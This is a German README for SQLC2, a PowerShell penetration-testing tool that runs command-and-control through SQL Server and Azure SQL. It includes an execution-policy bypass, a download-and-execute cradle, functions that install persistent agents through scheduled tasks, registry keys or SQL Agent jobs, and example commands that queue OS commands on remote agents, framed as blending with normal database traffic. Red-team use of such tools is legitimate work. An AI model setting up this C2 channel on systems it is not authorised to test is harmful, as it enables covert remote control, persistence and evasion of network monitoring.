
SQLC2 ist ein PowerShell-Skript zur Bereitstellung und Verwaltung eines Command-and-Control-Systems, das SQL Server sowohl als Kontrollserver als auch als Agent nutzt.
SQLC2 ist ein PowerShell-Skript zum Bereitstellen und Verwalten eines Command-and-Control-Systems, das SQL Server sowohl als Steuerserver als auch als Agenten verwendet. Im Kern besteht SQLC2 nur aus einem PowerShell-Skript, einem TSQL-Skript und einigen Tabellen in einer SQL Server-Instanz, die Agenten, Befehle und Ergebnisse verfolgt. Nichts Besonderes, könnte sich jedoch bei einigen Engagements als nützlich erweisen.
Für einen vollständigeren Überblick über SQLC2 besuchen Sie den Blog unter https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
Immer mehr Unternehmen beginnen, Azure SQL Server-Datenbanken zu nutzen. Wenn diese Azure SQL Server-Instanzen erstellt werden, sind sie über eine Subdomain von database.windows.net auf Port 1433 erreichbar. Beispielsweise könnte ich eine SQL Server-Instanz mit dem Namen "mysupersqlserver.database.windows.net" erstellen. Infolgedessen erlauben einige Unternehmensnetzwerkkonfigurationen ausgehenden Internetzugriff auf jede Subdomain von "database.windows.net" auf Port 1433.
Die Grundidee ist, dass mit der zunehmenden Verbreitung von Azure SQL Server mehr Möglichkeiten entstehen, SQL Server als einen Steuerkanal zu nutzen, der wie normaler Datenverkehr aussieht. SQLPS ist ein ziemlich einfacher Proof of Concept, aber ich denke, er ist funktional genug, um die Idee zu veranschaulichen. Ich weiß, dass es einige Verbesserungen gibt, aber wenn Sie damit herumspielen, würde ich mich über Ihr Feedback freuen.
Obwohl der Schwerpunkt auf der Verwendung von SQLC2 mit Azure SQL Server-Instanzen liegt, könnten Sie Ihren eigenen SQL Server in jeder Cloud-Umgebung hosten und ihn mit SSL auf Port 443 lauschen lassen. Dies bietet je nach Aufwand etwas mehr Flexibilität.
Option 1: Laden Sie das Skript herunter und importieren Sie es. Dies erfordert keine Administratorrechte und wird nur in die aktuelle Sitzung importiert. Es kann jedoch durch restriktive Ausführungsrichtlinien blockiert werden, daher sollten Sie die Umgehungsoption verwenden.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
Option 2: Laden Sie es über eine Download-Cradle in eine Sitzung. Dies erfordert keine Administratorrechte und wird nur in die aktuelle Sitzung importiert. Es sollte nicht durch Ausführungsrichtlinien blockiert werden.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
Hinweis: Um als alternativer Domänenbenutzer auszuführen, verwenden Sie zuerst den Befehl runas, um PowerShell zu starten.
runas /noprofile /netonly /user:domain\user PowerShell.exe

Nachfolgend finden Sie eine Liste der Benutzerfunktionen, die die vorgesehenen Arbeitsabläufe unterstützen.
| Funktionsname | Beschreibung |
|---|---|
| Install-SQLC2Server | Installiert die SQLC2-Tabellen auf dem Ziel-SQL-Server/in der Zieldatenbank. |
| Install-SQLC2AgentPs | Installiert einen Agenten, der einen SQL Server-Agenten-Job und einen Serverlink verwendet. |
| Install-SQLC2AgentLink | Installiert einen Agenten, der eine geplante Aufgabe oder einen Registrierungsschlüssel zur Ausführung von PowerShell-Befehlen verwendet. |
| Set-SQLC2Command | Legt Betriebssystembefehle fest, die von Agenten ausgeführt werden sollen. |
| Get-SQLC2Command | Ruft eine Liste der ausstehenden Betriebssystembefehle vom C2 für den Agenten ab. Kann den ausstehenden Befehl auch mit dem Flag -Execute ausführen. |
| Get-SQLC2Agent | Ruft eine Liste der auf dem SQLC2-Server registrierten Agenten ab. |
| Get-SQLC2Result | Ruft eine Liste der ausstehenden und abgeschlossenen Befehle ab. Unterstützt Filter für Servername, Status und CID. |
| Remove-SQLC2Agent | Entfernt auf dem SQLC2 registrierte Agenten. Löscht lediglich den Verlauf. |
| Remove-SQLC2Command | Entfernt den Befehlsverlauf auf dem SQLC2-Server. |
| Uninstall-SQLC2AgentLink | Deinstalliert einen SQLC2-Agenten, der Serverlinks und einen Agenten-Job verwendet. |
| Uninstall-SQLC2AgentPs | Deinstalliert alle auf dem Betriebssystem basierenden Persistenzmethoden. |
| Uninstall-SQLC2Server | Entfernt die SQLC2-Tabellen aus der Zieldatenbank. |
Nachfolgend finden Sie einige Beispiel-Screenshots.
SQLC2-Server installieren (Tabellen erstellen):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2-Agent installieren (SQL Server-Agenten-Job mit Serverlink):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2-Agenten anzeigen:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Befehl zur Ausführung auf dem Agenten festlegen:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Befehlergebnisse abrufen:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
